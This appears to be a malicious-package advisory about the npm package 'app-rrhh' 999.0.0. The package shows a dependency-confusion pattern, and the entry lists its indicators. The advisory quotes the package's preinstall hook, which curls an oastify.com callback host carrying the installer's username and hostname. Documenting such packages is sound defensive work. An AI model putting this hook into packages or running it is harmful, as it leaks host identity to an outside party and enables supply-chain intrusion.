GCVE-110-OSM-2026-12153

package.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name `app-rrhh` at version `999.0.0` with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name. ENTRY - Preinstall Script in package.json: ""preinstall": "curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami..." DESTINATION - 2 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: "oastify.com" - Suspicious Domain in package.json: "oastify.com" ADDITIONAL FINDINGS - Very New NPM Publisher Account